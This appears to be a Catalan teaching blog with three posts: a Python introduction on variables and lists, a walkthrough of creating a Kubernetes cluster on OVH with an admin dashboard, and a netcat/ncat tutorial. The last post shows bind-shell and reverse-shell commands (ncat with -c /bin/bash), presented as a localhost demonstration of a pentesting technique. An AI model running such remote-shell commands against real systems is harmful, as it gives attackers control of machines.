dimecres, 10 de febrer del 2021

Introducció a Python: variables simples, llistes

Python és un llenguatge modern i potent, amb poc esforç es poden programar accions que en altres llenguatges de programació resulten laborioses. És del tipus interpretat, com els llenguatges d'script, i orientat a objectes. En aquest article usem dos recursos: 1) el intèrpret en línia de Python en la versió 3, en un Linux Ubuntu 20.04, els exemples s'identifiquen per que les línies comencen ammb els símbols >> > com ara:

jordi@jordi-sve1513c5e:~$ python3
Python 3.8.5 (default, Jul 28 2020, 12:59:40)  
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

També usarem els tutorials de https://www.w3schools.com/python que permeten  executar codi, seran els exemples sense els ">>>".

Variables simples

Les variables es declaren simplement usant-les:

>>> salutacio="hola"
>>> salutacio
'hola'
>>> salari=40000
>>> salari
40000

Hem creat, i mostrat a continuació, una variable de tipus text i un altre de tipus numèric enter. De la mateixa forma directa podem crear variables de tipus numèric amb decimals i usar Python com a calculadora:

>>> irpf=22.4
>>> irpf
22.4
>>> retencio=6000*irpf/100
>>> retencio
1344.0
>>>

Les variables són molt flexibles, poden anar canviar de contingut sense cap problema:

from datetime import datetime
time = datetime.now()     #importa data i hora sistema
x = 5                   #variable x numèrica
y = "John Dillinger"
x = (time.strftime("%I:%M:%S")) #variable x data
print(x)
print(y)

 


En cada instant podem comprovar el tipus de variable que és:

>>> type(x)
<class 'int'>
>>>

Cal tenir en compte que es diferencia entre majúscules i minúscules:

>>> X="Python"
>>> print(x)
100
>>> print(X)
Python
>>>

Es poden donar valors de forma compacta:

>>> x , X = 100, "Python"
>>> print(x)
100
>>> print(X)
Python
>>>
 

Els diferents tipus de variables permesos són:

Text:str
Numeric: int, float, complex
Llistes: list, tuple, range
Mapeig: dict
Conjunts: set, frozenset
Booleà: bool
Binari:bytes, bytearray, memoryview

 Variables de tipus objecte i mòduls Python

Les variables de tipus objecte a més a més d'un valor també tenen associades accions, es poden fer accions predeterminades amb elles. Un exemple seria una variable de tipus data per contindre un dia del calendari;  Python disposa de mòduls, que venen a ser una mena de plug-ins que es poden cridar amb la instrucció import per usar-los si ens convé, entre aquests mòduls està time.

>>> import time
>>> time.strftime("%d/%m/%y")
'10/02/21'
>>>

Si mirem el tipus de variable que és time veiem que ens diu "classe mòdul":

>>> import time
>>> type(time)
<class 'module'>
>>>
 

La funció strftime  forma part de la classe time extreu la data del sistema, en el format especificat. En general és recomanable usar print per mostrar variables:

>>> print (time.strftime("%I:%M:%S"))
01:49:34
>>>

Les variables de tipus objecte s'agrupen en classes d'objectes; per exemple podem crear una classe de forma simple:

>>> class MyClass:
...   x = 5
...  
>>> p1 = MyClass()
>>> print(p1.x)
5
>>>

defineix una classe d'objectes MyClass; qualsevol variable que formi part de la classe contindrà una subvariable x (més correctament, una propietat de la classe). Les dues primeres línes defineixen la classe, la tercera (en blanc) acaba la definició, després creem la variable p1 del tipus classe Myclass, i per últim mostrem la seva propietat x. 

En Python la indentació és necessària, indica quan acaben les instruccions que ocupen diverses línies. Per exemple:

 >>> class Myclass:
... x = 5
 File "<stdin>", line 2
   x = 5
   ^
IndentationError: expected an indented block

obtenim un error degut a que no hem indentat la línia de declaració de la propietat x; cal fer-ho amb el tabulador.

En aquesta introducció no entrarem en detalls de la programació orientada a objectes (constructors, destructors, etc).

Llistes

Les llistes són variables que poden guardar molt valors de forma ordenada, estructurada, classificant cada valor segons la seva posició a la llista, començant per la posició 0:

>>> llista = ["Python","Powershell", "C", "Java"]
>>> print (llista[0])
Python
>>> print (llista)
['Python', 'Powershell', 'C', 'Java']
>>>

Els valors poden ser de qualsevol tipus:

>>> llista = ["Python",100, 3.14159]
 

En realitat les llistes són objectes de la classe list:

>>> type(llista)
<class 'list'>

Per tant qualsevol llista contindrà certes propietats i accions predefinides; per exemple per ordenar alfabèticament la llista:


llista = ["Python","Powershell", "C", "Java"]
llista.sort()
print(llista)

['C', 'Java', 'Powershell', 'Python']

 
Les llistes contenen molt altres mètodes, veure.

Podem modificar qualsevol valor donant la seva posició:

 >>> llista[1]="Powershell"

Es pot canviar un valor per varis valors, insertant-los usant un rang com ara:

>>> llista
['Python', 'Powershell', 3.14159]
>>> llista[1:2]=["C", "Yaml"]
>>> llista
['Python', 'C', 'Yaml', 3.14159]
>>>
 
 

veiem que el valor 1, "Powershell" ha estat subsistit per 2 valors "C" i "Yaml".

Llistes de llistes

Com dintre d'una llista podem ficar qualsevol variable de qualsevol tipus, fins i tot podem ficar llistes dintre de llistes: 

>>> Llenguatges=[llista, "javascript"]
>>> print(Llenguatges)
[['C', 'Java', 'Powershell', 'Python'], 'javascript']
>>>


Observem que la primera dada de la llista Llenguatges és un altre llista. En el cas particular de que una llista contingui exclusivament altres llistes, tindrem una "llista de llistes", que sovint en l'argot de programació s'anomena una matriu:

>>> Llenguatges=[llista, ["javascript","Java","PHP","CSS"]]
>>> print(Llenguatges)
[['C', 'Java', 'Powershell', 'Python'], ['javascript', 'Java', 'PHP', 'CSS']]
>>>


Python permet crear llistes inicialment buides, i després anar afegint elements conforme necessitem espai usant la funció predeterminada append:

llista = []
llista.append("a")
llista.append("b")
print(llista)

 ['a', 'b']

També amb append podem afegir llistes a llistes:

>>> comarques_famílies=[]
>>> comarques_famílies.append(['Baix Camp'])
>>> comarques_famílies.append(['Alt Camp'])    
>>> print (comarques_famílies)                 
[['Baix Camp'], ['Alt Camp']]

Fixem-nos amb els dobles claudàtors, indiquen que tenim una llista de llistes amb dues llistes, cada una amb un únic element. Anem a afegir un segon element en la primera llista:

comarques_famílies[0].append('INS Baix Camp')

>>> print (comarques_famílies)                 
[['Baix Camp', 'INS Baix Camp'], ['Alt Camp']]
>>>
 

El contrari d'afegir és eliminar: remove elimina el 1r element que coincideixi amb l'especificat; fixem-nos en què passa amb aquesta inserció:

 >>> comarques_famílies.append('INS Baix Camp')

>>> print(comarques_famílies)
[['Baix Camp', 'INS Baix Camp'], ['Alt Camp'], 'INS Baix Camp']
>>>
 

Com no hem especificat en quina llista volem inserir el valor, s'ha inserit al final, fora de les dues llistes; suposem que no és el que voliem fer, i ara volem esborrar aquest valor; 

>>> comarques_famílies.remove('INS Baix Camp')
>>> print(comarques_famílies)                  
[['Baix Camp', 'INS Baix Camp'], ['Alt Camp']]

Fet. No ha esborrat el valor que està dins de la 1a subllista per que no ho hem especificat; en canvi si fem  

>>> comarques_famílies[0].remove('INS Baix Camp')
>>> print(comarques_famílies)                     
[['Baix Camp'], ['Alt Camp']]
 

ara sí ha eliminat el valor de la 1a llista.

Una altre característica molt flexible és l'anomenar cada llista amb un nom, i juntar-les totes en una llista de llistes amb noms:

>>> a = ["apple", "banana", "cherry"]
>>> b = ["Ford", "BMW", "Volvo"]
>>> c = [a, b]
>>> print(c)
[['apple', 'banana', 'cherry'], ['Ford', 'BMW', 'Volvo']]
>>>

Si després modifiquen les llistes a o b, la llista de llistes c automàticament s'actualitza:

>>> a.append("orange")
>>> b.append("Honda")
>>> print(c)           
[['apple', 'banana', 'cherry', 'orange'], ['Ford', 'BMW', 'Volvo', 'Honda']]
>>>

Fitxers font Python

Si guardem el codi font de Python en un fitxer de text, per exemple fitxer.py, després podrem executar-lo des del shell simplement escrivint:

python3 fitxer.py

La majoria d'editors de codi reconeixen l'extensió .py i per tant reconeixen les instruccions Python. 

Lectura de dades externes al programa

Si importem el mòdul sys obtenim l'objecte stdin (entrada estàndard), que conté la funció readlines() capaç de llegir un fitxer des de l'entrada estàndard línia a línia. Per exemple, el següent programa:

import sys
for order in sys.stdin.readlines():

    print(order)

llegirà de l'entrada estàndard (el teclat) línia a línia de text i la mostrarà per la sortida estàndard (el monitor):

jordi@jordi-sve1513c5e:~/Documents/Feina/M6 2020/UF2$ python3 linia.py
hola
adeu

El problema és que la lectura no té final; però si redireccionem l'entrada estàndard a un fitxer de text (l'anomenem prova en l'exemple a continuació), llavors sí s'atura en arribar al final del fitxer:

jordi@jordi-sve1513c5e:~/Documents/Feina/M6 2020/UF2$ cat prova | python3 linia.py
linia 1

linia 2

jordi@jordi-sve1513c5e:~/Documents/Feina/M6 2020/UF2$

Les línies en blanc es poden eliminar usant la funció strip de la classe string (cadenes de text) doncs la variable order que retorna la lectura és un string:

import sys
for order in sys.stdin.readlines():
    linia = order.strip()
    print(linia)

Hem usat l'anomada estructura de control de programa for ... in, que té la segënt estructura general

for variable in llista:

    accions

La classe stdout del mòdul sys té la funció write que permet escriure resultats amb format més complert que la funció simple print:

import sys
for order in sys.stdin.readlines():
    linia = order.strip()
    print(linia)
sys.stdout.write("darrera línia llegida: %s\n" % linia)

Resultat:

jordi@jordi-sve1513c5e:~/Documents/Feina/M6 2020/UF2$ cat prova | python3 linia.py
linia 1
linia 2
darrera línia llegida: linia 2
jordi@jordi-sve1513c5e:~/Documents/Feina/M6 2020/UF2$

Exercicis

1. Tenim un fitxer de text de 4 línies amb el següent contingut:

Baix Camp;43002594 Institut Baix Camp;Serveis Socioculturals i a la Comunitat;Instal·lació i Manteniment;Serveis Socioculturals i a la Comunitat;Vidre i Ceràmica;Indústries Alimentàries
Baix Camp;17001759 Ins Escola d'Hoteleria i Turisme;Hoteleria i Turisme
Tarragona;43006630 Institut Pere Martell (Tarragona);Administració i Gestió;Fusta, Moble i Suro;Informàtica i Comunicacions;Tèxtil, Confecció i Pell;Indústries Alimentàries
Tarragona;43003653 Institut Comte de Rius (Tarragona);Transport i Manteniment de Vehicles;Instal·lació i Manteniment;Comerç i Màrqueting;Serveis Socioculturals i a la Comunitat

Llegiu totes les línies del fitxer i guardeu cada línia en una llista de Python, cada element de la llista serà un valor de tipus String.

 2. Seguint amb l'exercici anterior; la funció count de la classe string retorna el nombre de ocurrències d'un text dins d'un string. Sabent que el fitxer de centres d'FP conté en cada fila la comarca, el nom d'un centre d'FP, i una llista d'especialitats, tot separat per comes, useu count per comptar els ";" de cada fila, li resteu 1, i mostreu el text "nombre d'especialitats:" i seguidament el valor calculat.

3. Seguint amb l'exercici anterior, volem formar una matriu que contingui per cada línia la comarca i el nombre d'especialitats de cada comarca; 

 ['Priorat', 2, 'Alt Camp', 4, 'Tarragona', 5, 'Tarragona', 3, 'Baix Camp', 5, 'Baix Camp', 1, 'Tarragona', 5, 'Tarragona', 4]


Per extreure el nom de la comarca podeu usar alguna de les funcions de la classe string; suggeriment: la funció split "trenca" un string en elements individuals i els deixa en una llista

linies = linia.split(";")

deixarà en la llista línies cada dada (nom de comarca, nom de centre, ...) com a element de la llista línies.











dimarts, 9 de febrer del 2021

Exemple de creació d’un clúster Kubernetes en el núvol

Què és Kubernetes?

 Es sol dir que és un «orquestrador» de contenidors d’aplicacions, més tècnicament, un middleware que permet integrar serveis provinents de diverses fonts, i proveir informació de forma síncrona o asíncrona. Està escrit en Go, creat per Google i cedit com programari lliure a la Cloud Native Computing Foundation (CNCF, https://www.cncf.io/ ).

S’estructura en Pods, la unitat mínima de computació, que permet executar un conjunt de contenidors sota una única IP, i el ReplicaSets, que controla les rèpliques de cada Pod. Aporta tolerància a errades, alta disponibilitat i escalabilitat en calent. A més a més permet fer instal·lacions i actualitzacions automàtiques, i mitjançant el proxy invers Ingress permet fer balanç de càrrega entre servidors (nodes). Els pods s'executen en nodes, que són màquines virtuals funcionant de forma sincronitzada formant un clúster.

Crear des de zero, usant màquines virtuals, un clúster Kubernetes no és tasca fàcil, i a més a més per fer-ho bé calen un mínim de tres màquines.  El més habitual en la pràctica és contractar un servei de virtualització en el núvol que facilita molt la tasca. En aquesta entrada de bloc veurem un exemple de creació de clúster en el núvol, en el que iniciarem un servei web simple, també habilitarem una interfície web de control del clúster.

Pas 1: creació del «pool» de nodes

Usarem el proveïdor OVH → Public Cloud Services → Crear un cluster Kubernetes; inicia un assistent:

 

Tres nodes és el mínim «sensat»: un node actua de màster i els altres dos s’anomenen «minions»: El màster no executa contenidors, són els encarregats de decidir en quin node (minion) s'executa cada contenidor, de mantenir l'estat eficient del clúster, d'assegurar que en tot moment hi ha el nombre desitjat de contenidors en execució i d'actualitzar les aplicacions de forma coordinada quan es despleguen noves versions. Node minion és aquell que executa els contenidors desplegats al clúster. De sèrie, Kubernetes pot executar contenidors Docker i RKT, sent possible integrar-lo amb altres motors existents a través de CRI (Container Runtime Interface).

 

Cada node és una màquina virtuals, però amb aquesta opció activada cada MV estarà en una màquina física diferent, per millorar la disponibilitat, si estan totes les MV en una màquina física si cau aquesta cau tot el clúster!

 

Ja el tenim creat.

Ens proporcionen les dades d’accés al clúster al núvol:

 


Ara mateix no hi han encara contenidors en execució:

 


 

Preparar accés al clúster des de màquina local

Per administrar el clúster remotament ens cal instal·lar el comandament kubectl en la nostra màquina local (la de casa, per entendre'ns). Primer el descarreguem:

 

jordi@jordi-sve1513c5e:~$ sudo curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/rel
ease/stable.txt)/bin/linux/amd64/kubectl"
[sudo] password for jordi:  
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100   161  100   161    0     0    851      0 --:--:-- --:--:-- --:--:--   851
100 38.3M  100 38.3M    0     0  5580k      0  0:00:07  0:00:07 --:--:-- 5970k
jordi@jordi-sve1513c5e:~$

 

Validar la descàrrega amb el hash:


jordi@jordi-sve1513c5e:~$ curl -LO "https://dl.k8s.io/$(curl -L -s https://dl.k8s.io/release/stable.t
xt)/bin/linux/amd64/kubectl.sha256"
 % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                Dload  Upload   Total   Spent    Left  Speed
100   161  100   161    0     0    914      0 --:--:-- --:--:-- --:--:--   914
100    64  100    64    0     0    117      0 --:--:-- --:--:-- --:--:--   117
jordi@jordi-sve1513c5e:~$ echo "$(<kubectl.sha256) kubectl" | sha256sum --check
kubectl:
OK
jordi@jordi-sve1513c5e:~$


Instal·lar el comandament:


jordi@jordi-sve1513c5e:~$ sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
jordi@jordi-sve1513c5e:~$


NOTA: en entorn real caldrà sempre establir un tunel VPN i usar el comandament kubectl dins de la VPN! És altament insegur fer administració remota usant una connexió pública! Com hi ha una certa confusió entre connexió encriptada (com ara ssh) i xarxa privada virtual (VPN), convé un breu repàs.

  • Les connexions tipus SSH (com ara la de kubectl) connecten una màquina amb una altre màquina, a través de una xarxa local o d'una xarxa pública, encriptant la transmissió. 
  • Les connexions VPN en canvi connecten una màquina a una xarxa local sencera, també encriptant, de forma que la màquina es com si estigues dintre de la xarxa local remota, per això se li diu "xarxa privada (o local, no pública) virtual": l'equip remot es converteix en part de la xarxa a la que es connecta, i té accés complert a tota la xarxa. El tràfic de informació provinent dels  usuaris de la xarxa remota es vist com provinent d'una única adreça IP pública; això dificulta el seguiment d'un usuari de la xarxa remota doncs queda ocult en una única IP.
  • Per últim tenim les connexions ssh amb túnel, que són diferents a la VPN: ssh per defecte obre una sessió de shell (és a dir, el vostre terminal local està connectat a un shell que s’executa al sistema remot), però hi ha diferents tipus de dades que es poden transportar, un d’aquests tipus és una connexió de socket, per exemple, una connexió TCP: això s'anomena un túnel SSH; el client SSH escolta en un port TCP i transporta totes les connexions realitzades a aquest port a través del canal segur i surt de la connexió des del sistema remot. Per defecte, quan configureu un túnel, encara obtindreu un intèrpret d’ordres, SSH transporta dos tipus de dades per la mateixa connexió: el túnel i l’intèrpret d’ordres. A més a més les connexions SSH via túnel poden dirigir-se a través de ports TCP arbitraris

 

Configuració de la connexió remota amb el cluster

Descarreguem el fitxer de configuració del clúster proporcionat pel proveïdor del servei fins la màquina local, i el guardem en el directori ocult $HOME/.kube amb el nom config

 


El fitxer descarregat és quelcom semblant a: 

apiVersion: v1

clusters:

- cluster:

certificate-authority-data: LS0tLS1CRUdJTiBD(...)==

server: https://9tvsxd.c1.gra7.k8s.ovh.net

name: ASIXcs

contexts:

- context:

cluster: ASIXcs

user: kubernetes-admin-ASIXcs

name: kubernetes-admin@ASIXcs

current-context: kubernetes-admin@ASIXcs

kind: Config

preferences: {}

users:

- name: kubernetes-admin-ASIXcs

user:

client-certificate-data: LS0tLS1CRUdJTiBDRVJUSUZJQ (etc ...)



Creem a continuació el servei "demo" proporcionat per el proveïdor hello-world, activant el balanç de càrrega entre nodes; el servei es  defineix pel fitxer de configuració en llenguatge yaml següent:


apiVersion: v1

kind: Service

metadata:

name: hello-world

labels:

app: hello-world

spec:

type: LoadBalancer

ports:

- port: 80

targetPort: 80

protocol: TCP

name: http

selector:

app: hello-world

---

apiVersion: apps/v1

kind: Deployment

metadata:

name: hello-world-deployment

labels:

app: hello-world

spec:

replicas: 1

selector:

matchLabels:

app: hello-world

template:

metadata:

labels:

app: hello-world

spec:

containers:

- name: hello-world

image: ovhplatform/hello

ports:

- containerPort: 80



Iniciem el servei amb el comandament kubectl:


jordi@jordi-sve1513c5e:~$ kubectl apply -f hello.yml
service/hello-world created
deployment.apps/hello-world-deployment created
jordi@jordi-sve1513c5e:~$

Llistem els contenidors (pods) i serveis (deploys) disponibles per veure que està actiu:

jordi@jordi-sve1513c5e:~$ kubectl -n=default get pods
NAME                                      READY   STATUS    RESTARTS   AGE
hello-world-deployment-559d658ffb-pdh8l   1/1     Running   0          2m56s
jordi@jordi-sve1513c5e:~$

jordi@jordi-sve1513c5e:~$ kubectl -n=default get deploy
NAME                     READY   UP-TO-DATE   AVAILABLE   AGE
hello-world-deployment   1/1     1            1           3m42s
jordi@jordi-sve1513c5e:~$

Llistem també els serveis disponibles, el que hem iniciat dona servei TCP/IP pel port 80 i és de l tipus servidor web:

jordi@jordi-sve1513c5e:~$ kubectl -n=default get services 
NAME          TYPE           CLUSTER-IP     EXTERNAL-IP     PORT(S)        AGE
hello-world   LoadBalancer   10.3.125.127   51.210.210.34   80:32452/TCP   4m37s

kubernetes    ClusterIP      10.3.0.1       <none>          443/TCP        39m
jordi@jordi-sve1513c5e:~$
Aquest servei de demostració és un servidor web que només retorna una pàgina; ara que està actiu, amb el navegador, anem a la IP externa per provar el servei: 

 

Aquest servei web s'està executant simultàniament en dos nodes (màquines virtuals) situades en diferents màquines físiques, dintre de contenidors Docker; un tercer node, el màster, s'encarrega de l'orquestració (balanç de càrrega i alta disponibilitat).

 

Instal·lació del tauler de control de Kubernetes


És una interfície web d’aministració per Kubernetes. La baixem i instal·lem mitjançant el comandament kubectl i un fitxer de configuració:


jordi@jordi-sve1513c5e:~$ kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.
0.0-rc7/aio/deploy/recommended.yaml


namespace/kubernetes-dashboard created
serviceaccount/kubernetes-dashboard created
service/kubernetes-dashboard created
secret/kubernetes-dashboard-certs created
secret/kubernetes-dashboard-csrf created
secret/kubernetes-dashboard-key-holder created
configmap/kubernetes-dashboard-settings created
role.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrole.rbac.authorization.k8s.io/kubernetes-dashboard created
rolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
clusterrolebinding.rbac.authorization.k8s.io/kubernetes-dashboard created
deployment.apps/kubernetes-dashboard created
service/dashboard-metrics-scraper created
deployment.apps/dashboard-metrics-scraper created
jordi@jordi-sve1513c5e:~$

Ara creem un compte d’administració remota, usant un fitxer yaml


apiVersion: v1
kind: ServiceAccount
metadata:
  name: admin-user
  namespace: kubernetes-dashboard

i el comandament kubectl:



jordi@jordi-sve1513c5e:~$ kubectl apply -f dashboard-service-account.yml                             
serviceaccount/admin-user created
jordi@jordi-sve1513c5e:~$

a continuació, apliqueu el fitxer per afegir el compte de servei al clúster:


jordi@jordi-sve1513c5e:~$ kubectl apply -f dashboard-cluster-role-binding.yml
Warning: rbac.authorization.k8s.io/v1beta1 ClusterRoleBinding is deprecated in v1.17+, unavailable in
v1.22+; use rbac.authorization.k8s.io/v1 ClusterRoleBinding
clusterrolebinding.rbac.authorization.k8s.io/admin-user created
jordi@jordi-sve1513c5e:~$

després, utilitzant la funció d'administrador de clústers per al vostre clúster, crearem un RoleBinding, que el vincularà al vostre compte de serveis, amb el següent yaml:


apiVersion: rbac.authorization.k8s.io/v1beta1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: admin-user
  namespace: kubernetes-dashboard

executem:


jordi@jordi-sve1513c5e:~$ kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-das
hboard get secret | grep admin-user-token | awk '{print $1}')
Name:         admin-user-token-ggd8b
Namespace:    kubernetes-dashboard
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: admin-user
             kubernetes.io/service-account.uid: e2d4cfa2-1bd3-4c09-a2bb-e671736642f3

Type:  kubernetes.io/service-account-token

Data
====
token:      eyJhbGciOiJSUzI1NiIsImtpZCI6Ii1pMEpPRkdaRGNZaC1UajZXMi05S0hkRzdoMVN2QWlUbGZmS3BDUlpBeWMif
.......
bMQTWwtzkLz4O_Rb7_FETXBJKtgMkTJBnRzeyYZ7VUnNixpsAjLftn-6KQ-KfFFTM_c4xFvodjW8ZQCMIRzbVS8
ca.crt:     1801 bytes
namespace:  20 bytes
jordi@jordi-sve1513c5e:~$


Iniciem l’aplicació:


jordi@jordi-sve1513c5e:~$ kubectl proxy
Starting to serve on 127.0.0.1:8001

Accedim a la interfície web d’administració, ens demana la cadena «token» encriptada com a contrasenya, i entrem a la pantalla principal:


La interfície web  pot desplegar aplicacions en contenidors d'un clúster de Kubernetes, solucionar problemes de l'aplicació, gestionar els recursos del clúster, donar una visió general de les aplicacions que s’executen al clúster, crear o modificar recursos de Kubernetes individuals (com ara deploys).  Per exemple, podeu escalar un deploy (escalar vol dir donar o treure-li recursos) iniciar una actualització, reiniciar un pod o desplegar noves aplicacions mitjançant un assistent de desplegament.

Tutorial interactiu de Kubernetes: https://kubernetes.io/docs/tutorials/kubernetes-basics/







 

 

 

 

 

 




 






diumenge, 31 de gener del 2021

Comandaments netcat i ncat

Netcat és un comandament Linux (existeixen versions per Windows) molt versàtil per administradors de xarxa i per ciberseguretat; pot llegir i escriure dades en un ordinador remot mitjançant paquets TCP o UDP, crear connexions raw ("en brut": permet accedir a protocols de xarxa de baix nivell) amb altres equips de la xarxa, banner grabing (descobriment de versions de serveis a Internet, util en auditories de seguretat o pentesting), etc. En algunes coses és similar a l'ordre telnet però més general, doncs pot connectar-se a qualsevol servei. Més tècnicament, netcat pot actuar com a servidor o client de socket (un recurs del sistema operatiu que utilitza un procés per connectar-se i demanar serveis de xarxa) i interactuar amb altres programes alhora enviant i rebent dades a través de la xarxa.

Per veure totes les opcions:

jordi@jordi-sve1513c5e:~$ nc -h
OpenBSD netcat (Debian patchlevel 1.206-1ubuntu1)
usage: nc [-46CDdFhklNnrStUuvZz] [-I length] [-i interval] [-M ttl]
         [-m minttl] [-O length] [-P proxy_username] [-p source_port]
         [-q seconds] [-s source] [-T keyword] [-V rtable] [-W recvlimit] [-w timeout]
         [-X proxy_protocol] [-x proxy_address[:port]]           [destination] [port]
       Command Summary:
               -4              Use IPv4
               -6              Use IPv6
               -b              Allow broadcast
               -C              Send CRLF as line-ending
               -D              Enable the debug socket option
               -d              Detach from stdin
               -F              Pass socket fd
               -h              This help text
               -I length       TCP receive buffer length
               -i interval     Delay interval for lines sent, ports scanned
               -k              Keep inbound sockets open for multiple connects
               -l              Listen mode, for inbound connects
               -M ttl          Outgoing TTL / Hop Limit
               -m minttl       Minimum incoming TTL / Hop Limit
               -N              Shutdown the network socket after EOF on stdin
               -n              Suppress name/port resolutions
               -O length       TCP send buffer length
               -P proxyuser    Username for proxy authentication
               -p port         Specify local port for remote connects
               -q secs         quit after EOF on stdin and delay of secs
               -r              Randomize remote ports
               -S              Enable the TCP MD5 signature option
               -s source       Local source address
               -T keyword      TOS value
               -t              Answer TELNET negotiation
               -U              Use UNIX domain socket
               -u              UDP mode
               -V rtable       Specify alternate routing table
               -v              Verbose
               -W recvlimit    Terminate after receiving a number of packets
               -w timeout      Timeout for connects and final net reads
               -X proto        Proxy protocol: "4", "5" (SOCKS) or "connect"
               -x addr[:port]  Specify proxy address and port
               -Z              DCCP mode
               -z              Zero-I/O mode [used for scanning]
       Port numbers can be individual or ranges: lo-hi [inclusive]

Connectar-se a un servidor remot per un port concret

Per exemple, per connectar-nos al servei web de google, pel port 80, fem

nc -v google.com 80

on "-v" indica a nc que informi del procés de connexió donant  informació; un cop aconseguida la connexió, podem usar els comandaments que permet el servei al que ens connectem, com ara l'ordre GET per el protocol http:


En aquest exemple netcat actua obrint un socket client.

Escoltar peticions en un port

En el següent exemple obrim un socket servidor, és a dir, que permetem que una màquina remota es connecti amb netcat. Per aconseguir-ho, en l'ordinador que farà de servidor llancem netcat així:

nc -l -v 1234

l'opció -l vol dir "listener", que posa a nc en mode "escoltar", el nombre representa un port qualsevol obert; si ens dona un  error de resolució de noms, afegim l'opció -n per indicar-li que només usi IPs, no noms DNS.  En un ordinador remot (o en el el mateix que fa de servidor, obrint un altre terminal) obrim una connexió telnet i provem a escriure alguna cosa:

 

Veiem que netcat fa un "eco" de qualsevol text que escrivim en la màquina remota; fixem-nos també en que netcat "s'entén amb el protocol telnet". El que hem aconseguit és un chat entre dues màquines.

Sobre les versions de netcat

nc i netcat són dos noms per al mateix programa,  normalment, un serà un enllaç simbòlic a l’altre.  Per altre banda hi ha dues implementacions diferents de Netcat: la "tradicional" i la "OpenBSD", que tenen diferents opcions i tenen diferents funcions; aquí si no es diu el contrari usem la tradicional. També tenim un tercer comandament, ncat, amb el mateix propòsit però forma part del projecte Nmap ( (https://nmap.org/ncat/) i té opcions diferents; en Ubuntu 20.04 netcat ve de sèrie, en canvi ncat cal instal·lar-lo.

Per exemple ncat disposa d'una opció molt convenient per fer pentesting:

-c, --sh-exec <command>    Executes the given command via /bin/sh

Per exemple, si afegim a ncat un senzill script que llegeixi indefinidament cadenes de text i les contesti, com ara

while true; do read i && echo [rebut:] $i; done

i fent com abans, obrim un telnet remot que connecti amb ncat, veurem que tot el que escrivim en telnet es contestat:


Shell remot

L'oció -c de ncat és capaç d'executar un shell sencer:

jordi@jordi-sve1513c5e:~$ ncat -v -l -p 1234 -c /bin/bash    
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:46790.

Amb això el que estem fent és obrir un shell del sistema que escolta peticions remotes a través del port 1234, és a dir, un "shell server" o un shell remot. Des d'una altre màquina ens connectem amb netcat, i provem a enviar al server algun comandament del shell:

Jordi@jordi-sve1513c5e:~$ nc localhost 1234
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
Documents
(...)

Esquemàticament: 
  1. un servidor obre un listener executant un shell local, i l'ofereix a la xarxa a través del port 1234
  2. una màquina remota obre connexió i envia ordres al shell remot, que s'executen en remot



Shell invers

Aquesta és la característica de netcat més utilitzada pel pentesting, s'utilitza per iniciar un shell des d'un sistema piratejat. Té diverses variants.

Ja hem vist que ens podem connectar per exemple al port 80 d'un servidor web per fer el GET d'una pàgina web. Tanmateix, a un hacker li interessa obtenir un intèrpret d'ordres remot com el de l'apartat anterior que proporcioni el control del sistema remot però iniciat des de la màquina atacant. La solució és utilitzar un shell invers: és quan la màquina atacada és la que demana la connexió a la màquina del atacant la qual li respon.

Aixó doncs, comencen aixecant un listener en la màquina atacant, que farà de servidor:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

A continuació el hacker ha de ser capaç d'executar ordres arbitràries al sistema remot o ha de poder enviar un fitxer executable, normalment un script, que farà de payload d'una vulnerabilitat descoberta prèviament en la màquina atacant, i que dependrà dels sistema atacat, pot ser un script PHP en un servidor web, un script powershell en un servidor Windows, etc. En aquest article no estem fen hacking ètic, només volem mostrar el concepte; per fer-ho executem netcat a l'ordinador atacat obrint un shell remot com el de l'apartat anterior

ncat localhost 1234 -c /bin/bash

Ara podem executar ordres dels shell remot des de la màquina atacant:

jordi@jordi-sve1513c5e:~$ ncat -v -l 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from ::1.
Ncat: Connection from ::1:47330.
ls
Backup ilerna usb
Baixades
compartida
copia.txt
CUPS-PDF
data.txt
( . . .)

En un escenari real de proves de pentesting no és possible executar netcat a la màquina atacada, s’utilitzen altres tècniques per crear un shell.

Esquemàticament: 
  1. un atacant executa un payload que li permet obrir un shell de la màquina remota
  2. l'atacant obre en la màquina atacada un listener que ofereix el shell a la xarxa 
  3. la màquina atacant obre connexió i envia ordres al shell remot, que s'executen en remot

Usant el protocol UDP

Totes les connexions anteriors usen TCP/IP, però afegint l'opció -u ho faran per UDP, l'exemple anterior per UDP és:

ncat -u -v -l -p 1234 -c 'while true; do read i && echo [rebut:] $i; done'

En l'exemple anterior en comptes de telnet pel client podem usar nc, que ja sabem que "imita a telnet". 

jordi@jordi-sve1513c5e:~$ nc localhost -u 1234
hola
[rebut:] hola


Netcat com a FTP

Usant el mecanisme del shell conegut com "filtre" o també com "canonada" (pipe) és fàcil enviar fitxers usant netcat; provem per exemple a fer

cat prova.txt | ncat -v -l -p 1234

la línia vertical indica al shell del SO que dirigeixi el resultat del comandament cat (llistar el fitxer per pantalla) no a la pantalla si no al següent comandament. ncat "recull" aquest contingut del fitxer, obra el port 1234 en mode listener i espera una connexió entrant.

jordi@jordi-sve1513c5e:~$ cat prova.txt | ncat -v -l -p 1234
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234

